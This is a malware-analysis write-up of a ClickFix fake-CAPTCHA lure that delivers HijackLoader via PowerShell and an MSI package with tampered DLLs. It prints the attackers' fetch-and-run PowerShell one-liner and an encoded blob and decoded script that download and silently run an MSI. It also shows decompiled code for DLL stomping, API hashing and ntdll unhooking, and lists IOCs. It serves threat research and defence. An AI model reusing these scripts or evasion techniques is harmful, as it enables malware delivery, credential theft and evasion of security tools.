← index

ClickFix × HijackLoader: Dissecting a Live Stealer Campaign - Part 1

1. Overview

While browsing, I randomly came across an ad telling me that human verification was required. Curious, I followed it. The site it led to was simple. Just a lonely button, asking me to click it to prove I was human. Once I did, I was given instructions: press Win + R, then Ctrl + V, and finally Enter. This immediately raised several red flags. Before doing anything, I checked my clipboard,
and lo and behold, exactly as I suspected, a PowerShell command, waiting to download and invoke a remote script. That script pulled down an MSI installer, which executed a binary hosting HijackLoader, ultimately dropping what I suspect to be StealC, based on observed network communications.

The MSI installer turned out to be a carefully constructed package, bundling a legitimate application alongside two tampered DLLs. These facilitated the loading of HijackLoader, a modular loader with a surprisingly sophisticated architecture, comprising 34 individual modules in my case, handling everything from syscall dispatch and ntdll unhooking to UAC bypass and AV evasion.

Due to the complexity of the infection chain and the amount of reversing involved, I decided to split the writeup into two parts. In this first part, the focus will be on the initial execution stages, MSI package structure, loader initialization, and configuration extraction, up to the point where the malware is fully unpacked and execution transitions into the persistent directory. The second part will cover the remaining modules, anti-analysis mechanisms, persistence, and the final deployment in greater detail.

2. Initial Access — ClickFix Lure and some PowerShell

The ad used a Google-themed verification prompt, and led to the following URL:

hxxps://banquetesck.com/bcap/?zoneid=9353409&country=XX&cost=0.000874

Once loaded, the page presented what appeared to be a standard Google reCAPTCHA:

Initial google reCaptcha
Initial Google reCAPTCHA found on the landing page after clicking the ad

Clicking it triggered a brief animation, followed by an error stating that further verification was required, along with the following instructions:

ClickFix instructions
Instructions on how to proceed with the manual verification

Simultaneously, a green popup appeared in the bottom left corner of the page, confirming that a command had been copied to the clipboard:

ClickFix command copied

The copied command was the following:

powershell -c "iex(irm '85[.]239[.]149[.]21:2472' -UseBasicParsing)"

At this point, any remaining benefit of the doubt was gone. Curious, I checked what was being served from the specified port. Unsurprisingly, it was a heavily bloated PowerShell script, with the junk code being regenerated on each reload.

ClickFix PowerShell junk code

The one constant across reloads, however, was a Base64 encoded blob that stuck out like a sore thumb. This blob contained a second PowerShell script, decoded and immediately invoked:

function d { param([string]$x) $bytes = [Convert]::FromBase64String($x); return [System.Text.Encoding]::Unicode.GetString($bytes) }

[...]

$decoded = d -x $data
$decoded | Invoke-Expression

This second script is notably simpler, with no obfuscation or junk code. It decodes another Base64 blob, this time containing the third and final PowerShell payload. It also contains a comment in Russian:

$bytes = [Convert]::FromBase64String('CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAdAByAHkAIAB7AAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACQAdwBvAHIAawBEAGkAcgAgAD0AIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFoAbwBvAG0AcwAiAAoATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdwBvAHIAawBEAGkAcgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAKACQAaABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIACgAkAGgAYQBuAGQAbABlAHIALgBBAGwAbABvAHcAQQB1AHQAbwBSAGUAZABpAHIAZQBjAHQAIAA9ACAAJAB0AHIAdQBlAAoAJABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0ACgAJABoAGEAbgBkAGwAZQByACkACgAkAGMAbABpAGUAbgB0AC4AVABpAG0AZQBvAHUAdAAgAD0AIABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBGAHIAbwBtAE0AaQBuAHUAdABlAHMAKAAzADAAKQAKACQAdQByAGwAIAA9ACAAIgBoAHQAdABwADoALwAvADgANQAuADIAMwA5AC4AMQA0ADkALgAyADEAOgA2ADYAMAAwAC8AcQB3AHgAdQB5AHUAYQA1AC8ARQBXAFAAWgBCAFMAQgBUAC4AbQBzAGkAIgAKACQAdQByAGkATQBhAGkAbgAgAD0AIABbAFUAcgBpAF0AJAB1AHIAbAAKACQAZgBpAGwAZQBOAGEAbQBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AEYAaQBsAGUATgBhAG0AZQAoACQAdQByAGkATQBhAGkAbgAuAEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoACkACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGYAaQBsAGUATgBhAG0AZQAgAC0AbwByACAAJABmAGkAbABlAE4AYQBtAGUAIAAtAGUAcQAgACIALwAiACAALQBvAHIAIAAkAGYAaQBsAGUATgBhAG0AZQAgAC0AZQBxACAAIgAiACkAIAB7ACAAJABmAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBkAG8AdwBuAGwAbwBhAGQALgBiAGkAbgAiACAAfQAKACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJAB3AG8AcgBrAEQAaQByACAAJABmAGkAbABlAE4AYQBtAGUACgAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAQQBzAHkAbgBjACgAJAB1AHIAbAApAC4AUgBlAHMAdQBsAHQACgAkAHIAZQBzAHAAbwBuAHMAZQAuAEUAbgBzAHUAcgBlAFMAdQBjAGMAZQBzAHMAUwB0AGEAdAB1AHMAQwBvAGQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEMAbwBuAHQAZQBuAHQALgBSAGUAYQBkAEEAcwBCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAApAC4AUgBlAHMAdQBsAHQACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABmAGkAbABlAFAAYQB0AGgALAAgACQAYgB5AHQAZQBzACkACgBpAGYAIAAoACQAZgBpAGwAZQBQAGEAdABoACAALQBsAGkAawBlACAAIgAqAC4AbQBzAGkAIgApACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAbQBzAGkAZQB4AGUAYwAuAGUAeABlACIAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAvAGkAIABgACIAJABmAGkAbABlAFAAYQB0AGgAYAAiACAALwBxAG4AIAAvAG4AbwByAGUAcwB0AGEAcgB0ACIAIAAtAFcAYQBpAHQAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ACgB9AAoACgAkAGMAbABpAGUAbgB0AC4ARABpAHMAcABvAHMAZQAoACkACgA=')
$scriptContent = [System.Text.Encoding]::Unicode.GetString($bytes)
$tempScript = [System.IO.Path]::GetTempFileName() + ".ps1"
[System.IO.File]::WriteAllText($tempScript, $scriptContent, [System.Text.Encoding]::Unicode)

# Запуск и мгновенный выход
Start-Process powershell -WindowStyle Hidden -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tempScript`""
exit

The comment translates to “Launch and immediately exit”. Fitting, given what it does.

The third and final script is responsible for downloading and executing the MSI installer. It creates a working directory at C:\ProgramData\Zooms, downloads the installer from the hardcoded URL, and executes it silently via msiexec.exe:

$ErrorActionPreference = "Stop"
try {
    [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
} catch { }
$workDir = "C:\ProgramData\Zooms"
New-Item -ItemType Directory -Path $workDir -Force | Out-Null
Add-Type -AssemblyName System.Net.Http
$handler = New-Object System.Net.Http.HttpClientHandler
$handler.AllowAutoRedirect = $true
$client = New-Object System.Net.Http.HttpClient($handler)
$client.Timeout = [TimeSpan]::FromMinutes(30)
$url = "hxxp://85[.]239[.]149[.]21:6600/qwxuyua5/EWPZBSBT.msi"
$uriMain = [Uri]$url
$fileName = [System.IO.Path]::GetFileName($uriMain.AbsolutePath)
if (-not $fileName -or $fileName -eq "/" -or $fileName -eq "") { $fileName = "download.bin" }
$filePath = Join-Path $workDir $fileName
$response = $client.GetAsync($url).Result
$response.EnsureSuccessStatusCode()
$bytes = $response.Content.ReadAsByteArrayAsync().Result
[System.IO.File]::WriteAllBytes($filePath, $bytes)
if ($filePath -like "*.msi") {
    Start-Process "msiexec.exe" -ArgumentList "/i `"$filePath`" /qn /norestart" -Wait -WindowStyle Hidden
} else {
    Start-Process -FilePath $filePath -WindowStyle Hidden
}

$client.Dispose()

Visiting the URL directly in a browser reveals something worth noting. Any path that is not serving a PowerShell script simply returns "hehe":

ClickFix msi download
This is what visiting the URL in a browser looks like

A few days after my initial discovery, the port serving the first PowerShell script changed. I stumbled across the new one by accident on port 80 this time. Shortly after, that too disappeared, returning Not assigned.

3. MSI Package

This is where things started to get interesting. Inspecting the package in Orca revealed 8 files in total.

MSI-contents
Contents of the MSI package

MSI-contents-extracted
The files extracted

The package also contains a custom action:

MSI-custom-action

Mapping this to the filenames in the package, it becomes clear that the custom action targets AdvancedSwitch.exe the only executable in the package, which gets launched on installation.

Inspecting the extracted files, all of them carried signatures, though some raised eyebrows before even running sigcheck. Of the 8 files, 6 had valid signatures. The remaining two, FreeImage.dll and VCOMP140.dll, did not.

The latter is particularly interesting. VCOMP140.dll is a Microsoft binary, yet it carried an invalid Tenorshare signature, a clear sign of tampering.

MSI-Sigcheck-freeimage
MSI-Sigcheck-vcomp149
Invalid signatures on 2 files

4. Stage 1 — FreeImage.dll (HijackLoader Initial loader)

Having identified the two tampered files, I loaded both into PE-bear to get a better picture. Checking the imports of FreeImage.dll, two caught my eye: CreateFileMapping and MapViewOfFile. Neither is inherently malicious, but they felt out of place for an imaging library. This turned out to be a dead end, as neither played a role in what followed. Still, FreeImage.dll was the natural first candidate to load into IDA.

It didn’t take long to confirm that malicious code had been stomped directly into the DLL’s legitimate exports. According to the export table, what initially appeared to be three separate functions was, in reality, a single stomped routine. Finding the entry point was straightforward: a quick scan through strings revealed references to filenames from the MSI package, which led me right to it. To correlate the static view with dynamic execution, I set execute breakpoints on the .text sections of both tampered DLLs in x64dbg, then matched byte patterns between the debugger and IDA.

freeimage-file-ref
Filenames referenced in FreeImage.dll

The malicious function resolves its imports at runtime using a custom hashing algorithm shl1_add with a seed of 0x7D188. As evidenced by the JUMPOUT this is still not a full reconstruction of the function, but it provided enough to understand its workings.

void __fastcall mw_entry(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21, DWORD a22)
{
  __int64 v22; // rax
  _QWORD *v23; // rdi
  __int64 (__fastcall *v24)(_QWORD, _QWORD); // rsi
  void (__fastcall *v25)(WCHAR *); // rbx
  WCHAR *v26; // rsi
  DWORD v27; // eax
  __int64 v28; // rcx

  v23[7] = v22 + a2;
  v23[1] = v22 + *(unsigned int *)(v22 + a1 + 36);
  mw_resolve_API((__int64)v23, dword_212B862AE10);
  v24 = (__int64 (__fastcall *)(_QWORD, _QWORD))mw_resolve_API((__int64)v23, dword_212B862ADC4);
  v25 = (void (__fastcall *)(WCHAR *))mw_resolve_API((__int64)v23, dword_212B862ADDC);
  v26 = (WCHAR *)v24((unsigned int)dword_212B862ADF4, (unsigned int)dword_212B862ADC0);
  v23[4] = v26;
  v27 = GetModuleFileNameW(0i64, v26, nSize);
  do
    v28 = v27--;
  while ( v26[v28] != 92 );
  a22 = v27 + 1;
  v26[v27 + 2] = 0;
  v25(v26);
  mw_resolve_API((__int64)&a14, dword_212B862AE20);
  JUMPOUT(0x212B83DFC6Bi64);
}

The API resolution happens like this:

__int64 __fastcall mw_hashing_func(unsigned __int8 *a1, unsigned int a2)
{
  __int64 result; // rax
  unsigned __int8 v3; // dl
  unsigned __int8 *v4; // rcx

  result = a2;
  if ( a1 )
  {
    v3 = *a1;
    if ( *a1 )
    {
      v4 = a1 + 1;
      do
      {
        result = (unsigned int)v3 + 2 * (_DWORD)result;
        v3 = *v4++;
      }
      while ( v3 );
    }
  }
  return result;
}

The resolved APIs are the following:

Api resolved: <kernel32.TerminateProcess> (00007FFC05890AA0)
Api resolved: <kernel32.LocalAlloc> (00007FFC05888800)
Api resolved: <kernel32.SetCurrentDirectoryW> (00007FFC058916A0)
Api resolved: <kernel32.CreateFileA> (00007FFC05894E90)
Api resolved: <kernel32.GetFileSize> (00007FFC058950C0)
Api resolved: <kernel32.ReadFile> (00007FFC05895220)
Api resolved: <kernel32.LoadLibraryA> (00007FFC05890830)
Api resolved: <kernel32.VirtualProtect> (00007FFC0588BFB0)

The function then loads network256.conf from disk and decrypts it via DWORD-wise addition, using the key 0x59414D94, observed dynamically in x64dbg. The first 8 bytes of the file are left untouched during decryption, and contain a DLL name. In this case, this dll is tapisrv.dll which is then loaded via LoadLibraryA. The remainder of the buffer is encrypted shellcode, which gets stomped into the loaded tapisrv.dll after decryption.

The decryption itself is a simple additive cipher loop:

add [r14+rdx+8], ecx
add rdx, 4
cmp edx, eax
jb loop

Once decrypted, the code parses the loaded DLL’s PE header to locate its entry point. mov ecx, [rax+3Ch] retrieves the PE signature offset, and [rax+rcx+2Ch] gets the entry point RVA. VirtualProtect is then called to make the code section writable, and the shellcode is copied in byte by byte:

    mov     cl, [rdi+rax]
    mov     [rbx+rax], cl
    inc     rax
    cmp     r14, rax
    jnz     loop

With the payload written, VirtualProtect is called again to restore the original permissions, and execution jumps directly to the stomped entry point:

freeimage-exec-transfer
Jump into the stomped code

5. Stage 2 — Bootstrap Shellcode (network256.conf)

This shellcode is relatively short, compared to the others I encountered during analysis. It is passed a struct which contains the arguments, coming from the loader function in FreeImage.dll

struct mw_stage1_to_stage2_args
{
  struct mw_stage2_cfg *cfg;
  wchar_t *modules_filename;
  int run_av_blocklist_check;
};

It begins by resolving 2 dll names: ntdll.dll and kernel32.dll.

__int64 __fastcall mw_resolve_dll(int a1)
{
  _QWORD *v2; // [rsp+20h] [rbp-48h]

  v2 = (*(mw_get_teb() + 24) + 16i64);
  do
  {
    do
      v2 = *v2;
    while ( !v2[12] );
    if ( !a1 )
      return v2[6];
  }
  while ( a1 != mw_dll_lowercase(v2[12]) );
  return v2[6];
}

Then it proceeds to resolve the functions it needs.

__int64 __fastcall mw_resolve_API(__int64 a1, int a2, __int64 a3)
{
  int i; // [rsp+20h] [rbp-258h]
  unsigned int *v5; // [rsp+28h] [rbp-250h]
  __int64 v6; // [rsp+38h] [rbp-240h]
  char *v7; // [rsp+40h] [rbp-238h]
  __int64 v8; // [rsp+48h] [rbp-230h]
  __int64 v9; // [rsp+50h] [rbp-228h]
  _WORD v10[268]; // [rsp+60h] [rbp-218h] BYREF

  v5 = (*(mw_pe_get_nt_headers(a1) + 136) + a1);
  v6 = v5[8] + a1;
  v9 = v5[7] + a1;
  v8 = v5[9] + a1;
  for ( i = 0; ; ++i )
  {
    v7 = (*(v6 + 4i64 * i) + a1);
    mw_zero_mem(v10, 520i64);
    mw_ascii_to_wide(v7, v10);
    if ( a2 == mw_sdbm_hash(v10, a3) )
      break;
  }
  return *(v9 + 4i64 * *(v8 + 2i64 * i)) + a1;
}

The resolved functions are:

API resolved: <kernel32.CreateFileW> 
API resolved: <kernel32.QueryPerformanceCounter>  
API resolved: <kernel32.CloseHandle>   
API resolved: <ntdll.swprintf>   
API resolved: <kernel32.GlobalFree>   
API resolved: <kernel32.ReadFile>  
API resolved: <ntdll.NtDelayExecution>   
API resolved: <kernel32.LoadLibraryW>   
API resolved: <kernel32.GetFileSize> 
API resolved: <kernel32.GlobalAlloc>   
API resolved: <kernel32.GetModuleFileNameW>  
API resolved: <kernel32.GetModuleHandleW>  
API resolved: <ntdll.RtlDecompressBuffer>  
API resolved: <kernel32.GetTempPathW> 
API resolved: <ntdll.ZwQueryInformationProcess> 
API resolved: <ntdll.RtlQueryEnvironmentVariable_U> 
API resolved: <ntdll.ZwQuerySystemInformation> 
API resolved: <kernel32.dll.VirtualProtect> 

From these API calls, it becomes apparent that the shellcode interacts with a file on disk. Setting breakpoints on ReadFile revealed this file to be storagesvc42.bak

mov rax,qword ptr ss:[rsp+78]     | [rsp+78]:L"C:\\Users\\admin\\Desktop\\Extracted\\storagesvc42.bak"
call qword ptr ds:[rax+E0]        | [rax+E0]:ReadFile

Despite the .bak extension, storagesvc42.bak is not a standard file format. It mimics PNG’s IDAT chunk structure as a container for the encrypted payload.

49 44 41 54 | IDAT

Once this pattern is found, the following 4 bytes are checked against the magic value 0xEA79A5C6. If they match, the first payload chunk has been found. It carries a 16-byte sub-header containing everything needed for the subsequent stages: the magic value, a 4-byte XOR key, the compressed size, and the decompressed size. A buffer of compressedSize + 16 bytes is allocated, the first chunk is copied in along with its sub-header, and all subsequent payload IDAT chunks are appended sequentially, with PNG framing stripped from each keeping only the raw data. A bounds check on the final chunk prevents overflow during reassembly.

loader-shellcode
In order: Marker, Magic, XOR decryption key

Decryption operates on the reassembled buffer starting at offset 0x10, past the sub-header. The XOR key is a static DWORD read from the sub-header, applied in 4-byte blocks across compressedSize bytes, with the size aligned down to the nearest 4 bytes.

The code then uses RtlDecompressBuffer to decompress it:

    mov     [rsp+40h], rax              ; stash UncompressedBuffer pointer
    mov     dword ptr [rsp+34h], 0      ; FinalUncompressedSize = 0
    lea     rax, [rsp+34h]
    mov     [rsp+28h], rax              ; arg6: &FinalUncompressedSize
    mov     eax, [rsp+68h]
    mov     [rsp+20h], eax              ; arg5: CompressedBufferSize
    mov     r9,  [rsp+60h]              ; arg4: CompressedBuffer
    mov     r8d, [rsp+70h]              ; arg3: UncompressedBufferSize
    mov     rdx, [rsp+40h]              ; arg2: UncompressedBuffer
    mov     cx,  2                      ; arg1: COMPRESSION_FORMAT_LZNT1
    call    RtlDecompressBuffer

The result is the raw config blob containing the module table and all embedded modules.

The module table is not at a fixed location within the decompressed buffer. Its base is computed from two fields in the config header. Offset 0x08 holds a DWORD base offset into the buffer, and offset 0x90 contains an ASCII string of unclear purpose. In this case it was empty, so an additional offset was read from 0x160 and factored into the computation. The final module table base is:

table_base = decompressed + *(decompressed + 0x08) + v13 + 0x3DD

v13 acts as an optional secondary offset, conditionally applied:

if ( !mw_strlen_a(v23 + 0x90) )
{
    v13 = *(mw_decompressed_buffer_address + 0x160);
}
v18 = *(mw_decompressed_buffer_address + 8) + mw_decompressed_buffer_address + v13 + 0x3DD;

The decompressed buffer also contains the path of the DLL that will be the next stomping target:

loader-shellcode-stomp-dll
Path of dll subject to the second function stomp

The target DLL name is read from config offset 0xF4 and loaded via LoadLibraryA. The shellcode locates its entry point via the PE NT headers, calls VirtualProtect to mark it RWX (0x40), and overwrites it with the ti64 module:

call qword ptr ss:[rsp+B0] ; VirtualProtect

RCX : 00007FFBEDAA1000     ; Entry point of input.dll
RDX : 000000000001CC22     ; Size of ti64 module
R8  : 0000000000000040     ; PAGE_EXECUTE_READWRITE

Permissions are then restored to RX (0x20), and execution is transferred to the stomped entry point with the config context passed along.

To further analyze the individual modules, I created a tool which can decrypt and decompress the config file, and dump all modules.

module-list

The tool can be found here

6. HijackLoader Module Architecture

HijackLoader is a modular loader, meaning its capabilities are packaged into discrete modules that can be combined in any configuration. Several of these modules appear consistently across different samples documented in prior research.

The first module to be executed by the loader shellcode is ti (32-bit) or ti64 (64-bit), depending on the architecture of the target process. These orchestrator modules are responsible for building the syscall table, unhooking ntdll, and loading the remaining modules based on the config.

7. The Orchestrator — ti / ti64

The ti64 initialization routine begins by resolving several loaded modules through direct traversal of PEB->Ldr->InLoadOrderModuleList.

  LDR_DATA_TABLE_ENTRY *loaded_module;
  loaded_module = &sub_67D0()->Ldr->InLoadOrderModuleList;
  v7 = loaded_module;
  while ( 1 )
  {
    if ( loaded_module->InLoadOrderLinks.Flink == v7 )
      return 0i64;
    loaded_module = loaded_module->InLoadOrderLinks.Flink;
    v5 = 0;
    if ( loaded_module->BaseDllName.Buffer )
    {
      if ( loaded_module->BaseDllName.Buffer != &loc_FFFF )
      {
        mw_zero_mem(v8, 100i64);
        while ( loaded_module->BaseDllName.Buffer[v5] )
          ++v5;
        for ( i = 0; i < v5; ++i )
        {
          v8[i] = loaded_module->BaseDllName.Buffer[i];
          v8[i] = sub_55F0(v8[i]);
        }
        if ( target_hash == sub_5A00(v8) )
          break;
      }
    }
  }
    if ( out_dll_path )
  {
    v2 = 2 * sub_6510(loaded_module->FullDllName.Buffer) + 2;
    sub_64A0(out_dll_path, loaded_module->FullDllName.Buffer, v2);
  }
  return loaded_module->DllBase;

Using this mechanism, the loader resolves the base addresses of kernel32.dll, ntdll.dll, and a third system DLL (hash 0xA7F1B493). It then performs extensive hashed API resolution, storing the resulting function pointers.

Then execution continues into the function responsible for context initialization.

The function performs the same PEB-based module resolution, locating kernel32.dll, ntdll.dll, and the same third system DLL (hash 0xA7F1B493). It then performs extensive hashed API resolution, storing the resulting function pointers inside a large runtime context structure. A secondary function pointer table (offsets 0x1C80x3C0) is then populated via a dedicated resolution routine, pulling additional APIs from the same three base modules.

Additional libraries including msvcrt.dll, rpcrt4.dll, and user32.dll are also loaded and have their APIs resolved.

It then constructs an internal syscall table by parsing the export table of a fresh ntdll.dll image on disk. Every export beginning with “Zw” is processed and its syscall number extracted directly from the function code:

if ( *export_name == 'wZ' )

The extracted syscall number, hashed export name and function RVA are then inserted into an internal lookup table.

v6 = mw_extract_syscall_number(v15);

    if ( v6 != -1 )
    {
      syscall_table_entry.export_hash = mw_crc32_hash_wrapper(export_name);
      syscall_table_entry.syscall_number = v6;
      syscall_table_entry.export_name = export_name;
      syscall_table_entry.export_RVA = *(v13 + 4i64 * *(v12 + 2i64 * i));
      mw_create_append_syscall_table(mw_ti64_ctx, &syscall_table_entry);
    }

The extraction scans the first 10 bytes of each export for the mov eax opcode (0xB8).

__int64 __fastcall mw_extract_syscall_number(BYTE *a1)
{
  unsigned __int8 *function_code = a1;
  while ( function_code < a1 + 10 )
  {
    v2 = *function_code++;
    if ( v2 == 0xB8 )
      return *function_code;
  }
  return 0xFFFFFFFFi64;
}

Once the syscall table is constructed, the loader maps a second clean copy of ntdll.dll from disk using CreateFileMappingW with the SEC_IMAGE flag, producing a properly relocated image. If the mapping succeeds, the clean base field in the context is updated to point to this image; otherwise it falls back to the loaded in-memory copy.

A batch of function pointers is then resolved from this clean base rather than from the potentially hooked in-memory ntdll.dll, ensuring that critical ntdll functions used later in the injection process reference unmodified code.

Next, the SM module is located by hash and loaded. This 12-byte blob contains the name of the sideload target DLL, which is copied into the runtime context and referenced throughout subsequent operations:

char __fastcall mw_load_SM_module(mw_TI64_ctx *a1, __int64 a2)
{
  int mw_SM_module_size; 
  char *mw_SM_module_data; 

  mw_SM_module_size = 0;
  mw_SM_module_data = mw_find_module_by_hash(a2, &mw_SM_module_size, 0xD8222145); //CRC32("SM")
  if ( !mw_SM_module_data )
    return 0;
  sub_68F0(mw_SM_module_data, a1->path_buffer);
  return 1;
}

SM-module
Dll path in the SM module

The TinycallProxy64 module is then located by hash (0x5515DCEA, CRC32 of “TinyCallProxy64”) and used to initialize a dispatch structure. The shellcode pointer and its size are stored inside this structure alongside DLL base addresses, function pointers from the runtime context, and the path to the sideload DLL. The initialization also sets up return address spoofing for all subsequent calls routed through it. Every operational module is invoked through this dispatch structure rather than called directly.

char *__fastcall mw_find_TinycallProxy64_module(__int64 a1, _DWORD *a2)
{
  return mw_find_module_by_hash(a1, a2, 0x5515DCEA); //CRC32("TinyCallProxy64")
}

Before the anti-analysis checks, the loader maps a fresh copy of ntdll.dll and uses it to restore the in-memory ntdll, removing any userland hooks. A small control structure is allocated and two flag bytes within it are set to enable both the mapping and the unhooking operations.

This is distinct from the clean ntdll mapping performed during context initialization. That earlier mapping was used for API resolution whereas this one targets the loaded ntdll image directly, overwriting hooked code sections with their original bytes.

bool __fastcall mw_map_clean_ntdll(mw_TI64_ctx *a1, __int64 a2)
{
  v6 = mw_get_NT_headers(a1->ntdll_raw_pe);
  *(a2 + 128) = (a1->fn_VirtualAlloc)(0i64, v6->OptionalHeader.SizeOfImage, 4096i64, 4i64);
  if ( !*(a2 + 128) )
    return 0;
  sub_64A0(*(a2 + 128), a1->ntdll_raw_pe, v6->OptionalHeader.SizeOfHeaders);
  v5 = v6->FileHeader.NumberOfSections;
  v7 = (&v6->OptionalHeader.Magic + v6->FileHeader.SizeOfOptionalHeader);
  for ( i = 0; i < v5; ++i )
  {
    for ( j = 0; j < v7[4]; ++j )
      *(*(a2 + 128) + v7[3] + j) = *(a1->ntdll_raw_pe + v7[5] + j);
    v7 += 10;
  }
  return mw_fix_relocs(*(a2 + 128), v6->OptionalHeader.ImageBase, a1->ntdll_base) != 0;
}

The unhooking function iterates over ntdll’s exports via the export address table, and for each one, compares the byte at that RVA in the loaded ntdll against the clean mapped copy. If they differ and the address falls within the code section, it patches the hooked byte back to the original:

__int64 __fastcall mw_unhook_ntdll(mw_TI64_ctx *mw_ctx, __int64 a2)
{
  ntdll_nt_header = (mw_ctx->ntdll_base + mw_get_NT_headers(mw_ctx->ntdll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
  ntdll_sizeof_code = (mw_ctx->ntdll_base + ntdll_nt_header->OptionalHeader.SizeOfCode);
  v6 = (mw_ctx->ntdll_base + ntdll_nt_header->OptionalHeader.SizeOfUninitializedData);
  for ( i = 0; ; ++i )
  {
    result = *&ntdll_nt_header->OptionalHeader.Magic;
    if ( i >= result )
      break;
    a3 = ntdll_sizeof_code[*(v6 + i)];
    if ( *(mw_ctx->ntdll_base + a3) != *(*(a2 + 128) + a3)
      && sub_1BDA0(mw_ctx, mw_ctx->ntdll_base, a3) )
      mw_patch_bytes(mw_ctx, a2, a3, mw_ctx->ntdll_base, *(a2 + 128));
  }
  return result;
}
char __fastcall mw_patch_bytes(__int64 pe_base, __int64 a2, unsigned int a3, __int64 a4, __int64 a5)
{
  v8 = a3 + a4;          // address in hooked ntdll
  v9 = a3 + a5;          // address in clean copy
  v6 = 0;
  ++*(a2 + 16);          // patched count
  if ( !sub_AF20(v11, v8, 0x10u, 0x40u, &v6) )   // VirtualProtect → PAGE_EXECUTE_READWRITE
    return 0;
  sub_64A0(v8, v9, 16i64);                         // memcpy 16 bytes from clean → hooked
  ++*(a2 + 24);
  sub_AF20(v11, v8, 0x10u, v6, &v7);              // restore original protection
  return 1;
}

Execution then enters an anti-analysis routine, where the checks performed are driven by flags stored in a dedicated configuration module. When present, this module enables a suite of checks including RDTSC timing, CPUID vendor fingerprinting, RAM size, CPU count, and hostname inspection. In the analyzed sample, the module was absent. This means the function returned immediately and execution continued without performing any checks.

anti-analysis-checks

The first time the malware runs, it copies itself to a persistent location, and saves the copied state. This means that on any subsequent executions, the copy is skipped. The files to be copied are listed in the COPYLIST module.

module-copylist
The files to be copied. They match the files found in the msi package.

Once they have been successfully copied, the code launches the AdvancedSwitch.exe

return (*(a1 + 328))(0i64, v5, 0i64, 0i64, 0, 0x8000000, 0i64, 0i64, v19, v18) != 0;
                                ^lpProcessAttributes = NULL
                                   ^lpThreadAttributes = NULL
                                      ^bInheritHandles = FALSE
                                         ^dwCreationFlags
                                             ^lpEnvironment = NULL
                                                ^lpCurrentDirectory = NULL
                                                   ^lpStartupInfo
                                                      ^lpProcessInformation

If this succeeds, NtTerminateProcess is invoked.

After the copy-and-relaunch check, a second termination gate is evaluated. The loader searches for a module by hash (0x1999749F) and, if found, allocates 1 MB of memory for it. If the module loads successfully, the current process is terminated. In the analyzed sample, execution continued past this gate.

The current instance dies, and execution starts again from the persistent location.

8. IOCs

Infrastructure

Type Value
IP 85[.]239[.]149[.]21
URL hxxps://banquetesck[.]com/bcap/?zoneid=9353409&country=XX&cost=0.000874
URL hxxp://85[.]239[.]149[.]21:2472
URL hxxp://85[.]239[.]149[.]21:6600/qwxuyua5/EWPZBSBT.msi

Files

Filename SHA256
AdvancedSwitch.exe e8cc702e17ee91f84b4552abdf8cce85e486e2c48e99cce9648997d74613ad9f
BugSplat64.dll 8fe9be5391cef47155ba98879ec86747b9e5e31c5d1f18079fd389c52901b4b9
FreeImage.dll 60cf5967b65ca9048450fc35e4bccf38a20a7a58f1db3ba9be2c4316936c50b1
